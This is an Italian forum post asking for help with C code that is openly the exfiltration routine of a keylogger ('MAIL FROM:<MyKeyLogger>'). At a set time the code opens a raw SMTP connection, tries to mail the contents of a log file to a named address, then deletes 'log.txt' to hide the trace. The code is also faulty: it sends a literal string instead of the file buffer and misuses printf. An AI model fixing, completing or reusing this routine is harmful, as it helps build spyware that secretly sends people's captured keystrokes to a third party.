Salve, sto cercando di mandare automaticamente ad una certa ora un email al mio indirizzo in cui dentro ci sia scritto il contenuto di un file.
Il problema è che non riesco a farla inviare al winsock e non capisco quale sia il problema.
Spero che voi programmatori esperti possiate aiutarmicodice:void Timer(){ char timer[9]; _strtime( timer ); if(timer[0]=='1'&&timer[1]=='0'&&timer[2]==':'&&timer[3]=='4'&&timer[4]=='6'&&timer[5]==':'&&timer[6]=='0'&&timer[7]=='0') SpedisciEmail(); } void SpedisciEmail(){ WSADATA data; WORD p; LPHOSTENT HostName; char *IPHost; char stringa[100000]; struct sockaddr_in sock_addr; p=MAKEWORD(2,0); WSAStartup(p,&data); char helo[20]="helo libero"; char mailfrom[30]="MAIL FROM:<MyKeyLogger>"; char rcpt[35]="RCPT TO:<webmaster@scopinich.it>"; char datas[6]="data"; char point[4]="\n."; char end[5]="quit"; HostName = gethostbyname(HOST); FileLogs=fopen(FileProva,"r"); sock=socket(PF_INET, SOCK_STREAM,0); sock_addr.sin_family=PF_INET; sock_addr.sin_port=htons(25); sock_addr.sin_addr = *((LPIN_ADDR)*HostName->h_addr_list); connect(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr)); RispostaServer(); send(sock, helo, strlen(helo), 0); RispostaServer(); send(sock, mailfrom, strlen(mailfrom), 0); RispostaServer(); send(sock, rcpt, strlen(rcpt), 0); RispostaServer(); send(sock, datas, strlen(datas), 0); RispostaServer(); for(long int i=0;i<100000;i++) fscanf(FileLogs,"%c",&stringa[i]); fclose(FileLogs); send (sock,"\nstringa\n.",11,0); RispostaServer(); send(sock,point,strlen(point),0); RispostaServer(); send(sock,end,strlen(end),0); RispostaServer(); system("del log.txt"); closesocket(sock); WSACleanup(); } void RispostaServer(){ char mess[1000]; int n=0; n=recv(sock,mess,200,0); mess[n]=0; printf(mess,"%s"); }
Ciao ;-)

Rispondi quotando